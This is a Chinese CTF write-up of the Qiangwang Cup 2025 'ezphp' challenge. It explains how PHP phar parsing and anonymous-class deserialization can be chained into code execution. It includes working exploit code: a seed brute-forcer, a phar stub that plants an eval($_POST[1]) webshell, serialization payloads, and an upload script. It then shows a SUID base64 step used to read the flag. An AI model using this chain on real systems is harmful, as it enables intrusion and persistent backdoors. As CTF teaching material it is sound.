第九届强网杯(2025)-ezphp

tiran Lv2

题目分析

打开题目发现是一个eval执行base64,可以解码得到如下内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
<?php
highlight_file('1.php');
function generateRandomString($length = 8) {
$characters = 'abcdefghijklmnopqrstuvwxyz';
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$r = rand(0, strlen($characters) - 1);
$randomString .= $characters[$r];
}
return $randomString;
}

date_default_timezone_set('Asia/Shanghai');

class test {
public $readflag;
public $f;
public $key;

public function __construct() {
// 创建匿名类,处理文件上传
$this->readflag = new class {
public function __construct() {
if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) {
$time = date('Hi');
$filename = $GLOBALS['filename'];
$seed = $time . intval($filename);
mt_srand($seed);

// 清理 uploads 目录
$uploadDir = 'uploads/';
$files = glob($uploadDir . '*');
foreach ($files as $file) {
if (is_file($file)) unlink($file);
}

// 生成新文件名
$randomStr = generateRandomString(8);
$newFilename = $time . '.' . $randomStr . '.' . 'jpg';
$GLOBALS['file'] = $newFilename;

$uploadedFile = $_FILES['file']['tmp_name'];
$uploadPath = $uploadDir . $newFilename;

if (system("cp " . $uploadedFile . " " . $uploadPath)) {
echo "success upload!";
} else {
echo "error";
}
}
}

public function __wakeup() {
phpinfo();
}

public function readflag() {
function readflag() {
if (isset($GLOBALS['file'])) {
$file = $GLOBALS['file'];
$file = basename($file);
if (preg_match('/:\/\//', $file)) die("error");
$file_content = file_get_contents("uploads/" . $file);
// 检查文件内容是否包含敏感代码
if (preg_match('/<\?|\:\/\/|ph|\?\=/i', $file_content)) {
die("Illegal content detected in the file.");
}
include("uploads/" . $file);
}
}
}
};
}

public function __destruct() {
$func = $this->f;
$GLOBALS['filename'] = $this->readflag;
if ($this->key == 'class') {
new $func();
} else if ($this->key == 'func') {
$func();
} else {
highlight_file('index.php');
}
}
}

// 反序列化入口
$ser = isset($_GET['land']) ? $_GET['land'] : 'O:4:"test":N';
@unserialize($ser);

?>

首先看看test

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
class test {
public $readflag;
public $f;
public $key;

public function __construct() {
// 创建匿名类,处理文件上传
$this->readflag = new class {
public function __construct() {
echo 1;//精简
}
public function __wakeup() {
echo 2;//精简
}
public function readflag() {
function readflag() {
echo 3;//精简
}
}
}
};
}

public function __destruct() {
$func = $this->f;
$GLOBALS['filename'] = $this->readflag;
if ($this->key == 'class') {
new $func();
} else if ($this->key == 'func') {
$func();
} else {
highlight_file('index.php');
}
}
}

test 里面有两个方法 __destruct()__construct()

首先看看 __destruct()

$this->readflag 保存为 $GLOBALS['filename']

然后根据 key来看是进行新建类还是执行

然后 __construct()

在里面对 readflag 创建了一个匿名类

在这个匿名类中定义了3个方法 __construct()__wakeup()readflag()

来看看这个匿名类的 __construct()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public function __construct() {
if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) {
$time = date('Hi');
$filename = $GLOBALS['filename'];
$seed = $time . intval($filename);
mt_srand($seed);//重点

// 清理 uploads 目录
$uploadDir = 'uploads/';
$files = glob($uploadDir . '*');
foreach ($files as $file) {
if (is_file($file)) unlink($file);
}

// 生成新文件名
$randomStr = generateRandomString(8);
$newFilename = $time . '.' . $randomStr . '.' . 'jpg';
$GLOBALS['file'] = $newFilename;

$uploadedFile = $_FILES['file']['tmp_name'];
$uploadPath = $uploadDir . $newFilename;

if (system("cp " . $uploadedFile . " " . $uploadPath)) {
echo "success upload!";
} else {
echo "error";
}
}
}

就是一个处理文件上传的地方

重点在!伪随机!

伪随机种子为时间与文件名的组合,由于文件名是我们可控,并且时间我们可以获取到

因此我们可以通过爆破文件名来得到一个==相对可控的文件名==(伏笔)

__wakeup()不重要不管

readflag() 里面定义了一个 readflag()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function readflag() {
function readflag() {
if (isset($GLOBALS['file'])) {
$file = $GLOBALS['file'];
$file = basename($file);
if (preg_match('/:\/\//', $file)) die("error");
$file_content = file_get_contents("uploads/" . $file);
// 检查文件内容是否包含敏感代码
if (preg_match('/<\?|\:\/\/|ph|\?\=/i', $file_content)) {
die("Illegal content detected in the file.");
}
include("uploads/" . $file);
}
}
}

读取 $GLOBALS['file'] ,检查文件中是否含有敏感字符(伏笔)

就此整个代码就明了了

分析一

当我们include一个文件的时候,会调用一个叫做compile_filename的方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
zend_op_array *compile_filename(int type, zend_string *filename)
{
zend_file_handle file_handle;
zend_op_array *retval;
zend_string *opened_path = NULL;

zend_stream_init_filename_ex(&file_handle, filename);

retval = zend_compile_file(&file_handle, type);
if (retval && file_handle.handle.stream.handle) {
if (!file_handle.opened_path) {
file_handle.opened_path = opened_path = zend_string_copy(filename);
}

zend_hash_add_empty_element(&EG(included_files), file_handle.opened_path);

if (opened_path) {
zend_string_release_ex(opened_path, 0);
}
}
zend_destroy_file_handle(&file_handle);

return retval;
}

这个函数 compile_filename 是 Zend 引擎(PHP 内核)的一个内部函数,他的作用是编译给定的 PHP 文件,返回其对应的 zend_op_array(即可执行的中间代码),并将文件路径加入全局已包含文件列表,防止重复 include,可以看到其中有一行调用了zend_compile_file,顾名思义,它的作用是使用 Zend 的编译器编译这个文件。

继续定位到phar对应的编译方法,需要看到phar_compile_file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
static zend_op_array *phar_compile_file(zend_file_handle *file_handle, int type) /* {{{ */
{
zend_op_array *res;
zend_string *name = NULL;
int failed;
phar_archive_data *phar;

if (!file_handle || !file_handle->filename) {
return phar_orig_compile_file(file_handle, type);
}
if (strstr(ZSTR_VAL(file_handle->filename), ".phar") && !strstr(ZSTR_VAL(file_handle->filename), "://")) {
if (SUCCESS == phar_open_from_filename(ZSTR_VAL(file_handle->filename), ZSTR_LEN(file_handle->filename), NULL, 0, 0, &phar, NULL)) {
if (phar->is_zip || phar->is_tar) {
zend_file_handle f;

/* zip or tar-based phar */
name = zend_strpprintf(4096, "phar://%s/%s", ZSTR_VAL(file_handle->filename), ".phar/stub.php");
zend_stream_init_filename_ex(&f, name);
if (SUCCESS == zend_stream_open_function(&f)) {
zend_string_release(f.filename);
f.filename = file_handle->filename;
if (f.opened_path) {
zend_string_release(f.opened_path);
}
f.opened_path = file_handle->opened_path;

switch (file_handle->type) {
case ZEND_HANDLE_STREAM:
if (file_handle->handle.stream.closer && file_handle->handle.stream.handle) {
file_handle->handle.stream.closer(file_handle->handle.stream.handle);
}
file_handle->handle.stream.handle = NULL;
break;
default:
break;
}
*file_handle = f;
}
} else if (phar->flags & PHAR_FILE_COMPRESSION_MASK) {
/* compressed phar */
file_handle->type = ZEND_HANDLE_STREAM;
/* we do our own reading directly from the phar, don't change the next line */
file_handle->handle.stream.handle = phar;
file_handle->handle.stream.reader = phar_zend_stream_reader;
file_handle->handle.stream.closer = NULL;
file_handle->handle.stream.fsizer = phar_zend_stream_fsizer;
file_handle->handle.stream.isatty = 0;
phar->is_persistent ?
php_stream_rewind(PHAR_G(cached_fp)[phar->phar_pos].fp) :
php_stream_rewind(phar->fp);
}
}
}

zend_try {
failed = 0;
CG(zend_lineno) = 0;
res = phar_orig_compile_file(file_handle, type);
} zend_catch {
failed = 1;
res = NULL;
} zend_end_try();

if (name) {
zend_string_release(name);
}

if (failed) {
zend_bailout();
}

return res;
}

可以看到

1
if (strstr(file_handle->filename, ".phar") && !strstr(file_handle->filename, "://"))

如果文件名中包含 .phar 且不是一个 URL(如 phar://),则认为它是本地的 .phar 文件

所以我们只有带有.phar 字符,随便啥名字都能解析(后面会讲)

当他判断到strstr(ZSTR_VAL(file_handle->filename), ".phar"),也就是发现文件名中包含字符串 .phar,会调用phar_open_from_filename,继续跟phar_open_from_filename

可以看到这里调用了一个叫phar_open_from_fp的东西,继续跟一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
static int phar_open_from_fp(php_stream* fp, char *fname, size_t fname_len, char *alias, size_t alias_len, uint32_t options, phar_archive_data** pphar, int is_data, char **error) /* {{{ */
{
static const char token[] = "__HALT_COMPILER();";
static const char zip_magic[] = "PK\x03\x04";
static const char gz_magic[] = "\x1f\x8b\x08";
static const char bz_magic[] = "BZh";
char *pos, test = '\0';
int recursion_count = 3; // arbitrary limit to avoid too deep or even infinite recursion
const int window_size = 1024;
char buffer[1024 + sizeof(token)]; /* a 1024 byte window + the size of the halt_compiler token (moving window) */
const zend_long readsize = sizeof(buffer) - sizeof(token);
const zend_long tokenlen = sizeof(token) - 1;
zend_long halt_offset;
size_t got;
uint32_t compression = PHAR_FILE_COMPRESSED_NONE;

if (error) {
*error = NULL;
}

if (-1 == php_stream_rewind(fp)) {
MAPPHAR_ALLOC_FAIL("cannot rewind phar \"%s\"")
}

buffer[sizeof(buffer)-1] = '\0';
memset(buffer, 32, sizeof(token));
halt_offset = 0;

/* Maybe it's better to compile the file instead of just searching, */
/* but we only want the offset. So we want a .re scanner to find it. */
while(!php_stream_eof(fp)) {
if ((got = php_stream_read(fp, buffer+tokenlen, readsize)) < (size_t) tokenlen) {
MAPPHAR_ALLOC_FAIL("internal corruption of phar \"%s\" (truncated entry)")
}

if (!test && recursion_count) {
test = '\1';
pos = buffer+tokenlen;
if (!memcmp(pos, gz_magic, 3)) {
char err = 0;
php_stream_filter *filter;
php_stream *temp;
/* to properly decompress, we have to tell zlib to look for a zlib or gzip header */
zval filterparams;

if (!PHAR_G(has_zlib)) {
MAPPHAR_ALLOC_FAIL("unable to decompress gzipped phar archive \"%s\" to temporary file, enable zlib extension in php.ini")
}
array_init(&filterparams);
/* this is defined in zlib's zconf.h */
#ifndef MAX_WBITS
#define MAX_WBITS 15
#endif
add_assoc_long_ex(&filterparams, "window", sizeof("window") - 1, MAX_WBITS + 32);

/* entire file is gzip-compressed, uncompress to temporary file */
if (!(temp = php_stream_fopen_tmpfile())) {
MAPPHAR_ALLOC_FAIL("unable to create temporary file for decompression of gzipped phar archive \"%s\"")
}

php_stream_rewind(fp);
filter = php_stream_filter_create("zlib.inflate", &filterparams, php_stream_is_persistent(fp));

if (!filter) {
err = 1;
add_assoc_long_ex(&filterparams, "window", sizeof("window") - 1, MAX_WBITS);
filter = php_stream_filter_create("zlib.inflate", &filterparams, php_stream_is_persistent(fp));
zend_array_destroy(Z_ARR(filterparams));

if (!filter) {
php_stream_close(temp);
MAPPHAR_ALLOC_FAIL("unable to decompress gzipped phar archive \"%s\", ext/zlib is buggy in PHP versions older than 5.2.6")
}
} else {
zend_array_destroy(Z_ARR(filterparams));
}

php_stream_filter_append(&temp->writefilters, filter);

if (SUCCESS != php_stream_copy_to_stream_ex(fp, temp, PHP_STREAM_COPY_ALL, NULL)) {
php_stream_filter_remove(filter, 1);
if (err) {
php_stream_close(temp);
MAPPHAR_ALLOC_FAIL("unable to decompress gzipped phar archive \"%s\", ext/zlib is buggy in PHP versions older than 5.2.6")
}
php_stream_close(temp);
MAPPHAR_ALLOC_FAIL("unable to decompress gzipped phar archive \"%s\" to temporary file")
}

php_stream_filter_flush(filter, 1);
php_stream_filter_remove(filter, 1);
php_stream_close(fp);
fp = temp;
php_stream_rewind(fp);
compression = PHAR_FILE_COMPRESSED_GZ;

/* now, start over */
test = '\0';
if (!--recursion_count) {
MAPPHAR_ALLOC_FAIL("unable to decompress gzipped phar archive \"%s\"");
break;
}
continue;
} else if (!memcmp(pos, bz_magic, 3)) {
php_stream_filter *filter;
php_stream *temp;

if (!PHAR_G(has_bz2)) {
MAPPHAR_ALLOC_FAIL("unable to decompress bzipped phar archive \"%s\" to temporary file, enable bz2 extension in php.ini")
}

/* entire file is bzip-compressed, uncompress to temporary file */
if (!(temp = php_stream_fopen_tmpfile())) {
MAPPHAR_ALLOC_FAIL("unable to create temporary file for decompression of bzipped phar archive \"%s\"")
}

php_stream_rewind(fp);
filter = php_stream_filter_create("bzip2.decompress", NULL, php_stream_is_persistent(fp));

if (!filter) {
php_stream_close(temp);
MAPPHAR_ALLOC_FAIL("unable to decompress bzipped phar archive \"%s\", filter creation failed")
}

php_stream_filter_append(&temp->writefilters, filter);

if (SUCCESS != php_stream_copy_to_stream_ex(fp, temp, PHP_STREAM_COPY_ALL, NULL)) {
php_stream_filter_remove(filter, 1);
php_stream_close(temp);
MAPPHAR_ALLOC_FAIL("unable to decompress bzipped phar archive \"%s\" to temporary file")
}

php_stream_filter_flush(filter, 1);
php_stream_filter_remove(filter, 1);
php_stream_close(fp);
fp = temp;
php_stream_rewind(fp);
compression = PHAR_FILE_COMPRESSED_BZ2;

/* now, start over */
test = '\0';
if (!--recursion_count) {
MAPPHAR_ALLOC_FAIL("unable to decompress bzipped phar archive \"%s\"");
break;
}
continue;
}

if (!memcmp(pos, zip_magic, 4)) {
php_stream_seek(fp, 0, SEEK_END);
return phar_parse_zipfile(fp, fname, fname_len, alias, alias_len, pphar, error);
}

if (got >= 512) {
if (phar_is_tar(pos, fname)) {
php_stream_rewind(fp);
return phar_parse_tarfile(fp, fname, fname_len, alias, alias_len, pphar, is_data, compression, error);
}
}
}

if (got > 0 && (pos = phar_strnstr(buffer, got + sizeof(token), token, sizeof(token)-1)) != NULL) {
halt_offset += (pos - buffer); /* no -tokenlen+tokenlen here */
return phar_parse_pharfile(fp, fname, fname_len, alias, alias_len, halt_offset, pphar, compression, error);
}

halt_offset += got;
memmove(buffer, buffer + window_size, tokenlen); /* move the memory buffer by the size of the window */
}

MAPPHAR_ALLOC_FAIL("internal corruption of phar \"%s\" (__HALT_COMPILER(); not found)")
}

总结一下就是

从文件指针 fp 打开一个 .phar 文件并解析其结构,识别格式(phar/tar/zip/gz/bz2),找到 __HALT_COMPILER();,并初始化 phar_archive_data。

它可以去解析各种压缩的形式,最后如果整个文件都没找到 __HALT_COMPILER();,就报错

如果检测到 zip magic,交由 phar_parse_zipfile() 来处理。

如果文件结构像 TAR,就使用 phar_parse_tarfile() 解析。

这个过程会自动的去解压我们的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
打开 phar 文件流

尝试 rewind 到起始位置

是否 gzip?→ 解压 → rewind
是否 bzip2?→ 解压 → rewind
是否 zip?→ phar_parse_zipfile
是否 tar?→ phar_parse_tarfile

扫描 __HALT_COMPILER();

找到了 → phar_parse_pharfile()
找不到 → 报错并退出

你可能会奇怪一个事,明明函数叫 phar_open_from_fp,不是“打开 Phar 文件”的吗?为什么还要判断 gzip、bzip2、zip、tar 呢?这些不是非 Phar 吗?其实这些格式也可以是合法的 Phar 文件容器,Phar 文件本质上是容器格式,不是文件后缀决定的,PHP 的 Phar 扩展支持将一个 Phar 文件封装成以下几种格式:

文件结构是否支持作为 Phar是否需要特殊处理
纯 PHP 脚本(有 __HALT_COMPILER();默认支持
gzip 压缩的 Phar需要解压
bzip2 压缩的 Phar需要解压
tar 格式的打包.phar.tar.tar.phar
zip 格式的打包.phar.zip.zip.phar
完全不是 Phar报错

比如下面是一个合法的 gzip 压缩 Phar:

1
2
3
4
5
6
php -d phar.readonly=0 -r '
$phar = new Phar("test.phar");
$phar["index.php"] = "<?php echo 123;";
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->compress(Phar::GZ); // 关键!
'

生成的 test.phar

  • 外表是 gzip 格式;
  • 里面是 tar + Phar 元数据;
  • PHP 打开它的时候就需要:
    1. 判断是 gzip;
    2. 解压到临时流;
    3. 再继续扫描 __HALT_COMPILER(); 或 tar header;

要是我们打包成了zip,那么 PHP 会识别成 zip,通过 phar_parse_zipfile() 去解析。

最后的结论就是,比如我们生成了一个phar文件,然后把他打包成gz文件,当我们include这个gz文件时,php会默认把这个gz文件解压回phar进行解析

当然,在前面我们跟代码的时候应该还记得,他的判断逻辑是只要文件名里有.phar这几个字就行:

所以事实上我们完全不需要保证最后include的是一个xxx.phar.gzip文件,只要文件名里有.phar即可,所以说无论我们是include 1.phar.png还是1.phar.html均可以正常rce,甚至只要包含的路径里带了.phar这几个字就能解析 哪怕是目录也行:

所以题目的的一部分就浮出水面了

第一部分

由于我们可以控制文件名,并且知道时间,我们可以预测文件名为1234.pharxxxx.jpg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
function generateRandomString($length = 8) {
$characters = 'abcdefghijklmnopqrstuvwxyz';
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$r = rand(0, strlen($characters) - 1);
$randomString .= $characters[$r];
}
return $randomString;
}

date_default_timezone_set('Asia/Shanghai');

// 固定时间
$time = '1604';

for ($filename = 0; $filename <= 999999; $filename++) {
$seed = $time . intval($filename);
mt_srand($seed);
$str = generateRandomString(8);
if (substr($str, 0, 4) === 'phar') {
echo "time: $time, filename: $filename, result: $str\n";
}
}

这样我们就可以得到文件名中包含.phar

生成phar的脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();

$stub = <<<'STUB'
<?php
system('echo "<?=eval(\$_POST[1]);" > 1.php');
__HALT_COMPILER();
?>
STUB;

$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();

?>

我们就可以得到文件exploit.phar

然后在使用gzip压缩即可得到exploit.phar.gz==(后面会用到)==

分析二

我们如何调用某一个类中的某个方法呢

可以通过类名加方法名放在一个数组中的方式

那问题来了,我们隐函数的类名是什么呢?

可以看看离别歌师傅的博客与php的bugs

知识星球2023年10月PHP函数小挑战 | 离别歌

PHP :: Bug #81111 :: Serialization is unexpectedly allowed on anonymous classes with __serialize()

我们可以看到

函数名很好获得就是readflag,php文件的绝对路径我们可以引起一个报错就可以很方便得到,(其实就是先乱写,然后看报错)

还有一个比较简单不用动调的方法,就是get_class()函数

成功拿到,将里面的文件路径和行号改一改就好了

然后就是调用分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
class test {
public $readflag;
public $f;
public $key;

public function __construct() {
// 创建匿名类,处理文件上传
$this->readflag = new class {
public function __construct() {
if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) {
$time = date('Hi');
$filename = $GLOBALS['filename'];
$seed = $time . intval($filename);
mt_srand($seed);

// 清理 uploads 目录
$uploadDir = 'uploads/';
$files = glob($uploadDir . '*');
foreach ($files as $file) {
if (is_file($file)) unlink($file);
}

// 生成新文件名
$randomStr = generateRandomString(8);
$newFilename = $time . '.' . $randomStr . '.' . 'jpg';
$GLOBALS['file'] = $newFilename;

$uploadedFile = $_FILES['file']['tmp_name'];
$uploadPath = $uploadDir . $newFilename;

if (system("cp " . $uploadedFile . " " . $uploadPath)) {
echo "success upload!";
} else {
echo "error";
}
}
}

public function __wakeup() {
phpinfo();
}

public function readflag() {
function readflag() {
if (isset($GLOBALS['file'])) {
$file = $GLOBALS['file'];
$file = basename($file);
if (preg_match('/:\/\//', $file)) die("error");
$file_content = file_get_contents("uploads/" . $file);
// 检查文件内容是否包含敏感代码
if (preg_match('/<\?|\:\/\/|ph|\?\=/i', $file_content)) {
die("Illegal content detected in the file.");
}
include("uploads/" . $file);
}
}
}
};
}

public function __destruct() {
$func = $this->f;
$GLOBALS['filename'] = $this->readflag;
if ($this->key == 'class') {
new $func();
} else if ($this->key == 'func') {
$func();
} else {
highlight_file('index.php');
}
}
}

由于在__destruct()方法中读的 class 属性,为fun就调用方法,否则就是新建类

所以我们可以嵌套多个 test 类来实现访问其内部匿名类

首先最外层作用是文件上传我们的恶意文件,第二层是用来创建匿名类,调用其readflag()方法,注册我们的 readflag()函数,第三层可以去调用readflag()函数,使其include

第二部分

所以我们的序列化脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

class test {
public $readflag;
public $f;
public $key;

public $next;//用于嵌套
}

$a = new test();//上传文件
$a->key = "class";
$a->f = "test";
$a->readflag = '156963';//用于得到最后的include的文件名

$b = new test();//创建匿名类,调用其readflag()方法
$b->key = "func";
$b->f = ["class@anonymous\x00/var/www/html/index.php(1) : eval()'d code:1\$0", "readflag"];

$c = new test();//调用readflag()函数,使其include
$c->key = "func";
$c->f = "readflag";

$a->next = $b;
$b->next = $c;

echo urlencode(serialize($a));

?>

还可以是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

class test {
public $readflag;
public $f;
public $key;
}

$a = new test();
$a->key = "class";
$a->f = "test";
$a->readflag = '53220';

$b = new test();
$b->key = "func";
$b->f = ["class@anonymous\x00/var/www/html/index.php(1) : eval()'d code:1$0", "readflag"];

$c = new test();
$c->key = "func";
$c->f = "readflag";

$d = [$a, $b, $c];

echo urlencode(serialize($d));

?>

两种方法都可以实现多个类的嵌套,然后就是

合成所有步骤

wjm.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
function generateRandomString($length = 8) {
$characters = 'abcdefghijklmnopqrstuvwxyz';
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$r = rand(0, strlen($characters) - 1);
$randomString .= $characters[$r];
}
return $randomString;
}

date_default_timezone_set('Asia/Shanghai');

// 固定时间
$time = date('Hi');

for ($filename = 0; $filename <= 999999; $filename++) {
$seed = $time . intval($filename);
mt_srand($seed);
$str = generateRandomString(8);
if (substr($str, 0, 4) === 'phar') {
echo $filename;
exit();
}
}

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import os
import requests

# 配置目标 URL
URL = "https://eci-2ze2wb24un9rfajg8i0l.cloudeci1.ichunqiu.com:80"

def get_filename():
"""执行 PHP 脚本,获取文件名"""
return os.popen("php wjm.php").read().strip()

def generate_php_payload(filename):
"""生成序列化链的 PHP 代码"""
php_template = f"""<?php

class test {{
public $readflag;
public $f;
public $key;
public $next;
}}

$a = new test();
$a->key = "class";
$a->f = "test";
$a->readflag = '{filename}';

$b = new test();
$b->key = "func";
$b->f = ["class@anonymous\\x00/var/www/html/index.php(1) : eval()'d code:1$0", "readflag"];

$c = new test();
$c->key = "func";
$c->f = "readflag";

$a->next = $b;
$b->next = $c;

echo serialize($a);
"""
return php_template

def write_php_file(content, filename="xlh.php"):
"""写入 PHP 文件"""
with open(filename, "w") as f:
f.write(content)

def get_serialized_payload():
"""执行 PHP 文件,获取 payload"""
return os.popen("php xlh.php").read().strip()

def upload_file(filename, payload):
"""上传文件并附带参数"""
with open("exploit.phar.gz", "rb") as exploit_file:
files = {
"file": (filename, exploit_file.read())
}
params = {
"land": payload
}
response = requests.post(url=URL, files=files, params=params)#有个坑点就是他会url编码,所以前面的php脚本生成的序列化链不需要url编码
return response.text

def main():
filename = get_filename()
print(f"文件名: {filename}")

php_code = generate_php_payload(filename)
write_php_file(php_code)

payload = get_serialized_payload()
# print(f"Payload: {payload}")

result = upload_file(filename, payload)
print(result)

if __name__ == "__main__":
main()

exploit.phar.gz与这两个脚本放一起,运行py脚本

成功写入

蚁剑链接,密码1

查看suid权限

有一个base64有suid权限

拿下flag

  • 标题: 第九届强网杯(2025)-ezphp
  • 作者: tiran
  • 创建于 : 2025-11-07 18:40:57
  • 更新于 : 2025-11-07 19:11:30
  • 链接: https://www.tiran.cc/2025/11/07/第九届强网杯-2025-ezphp/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。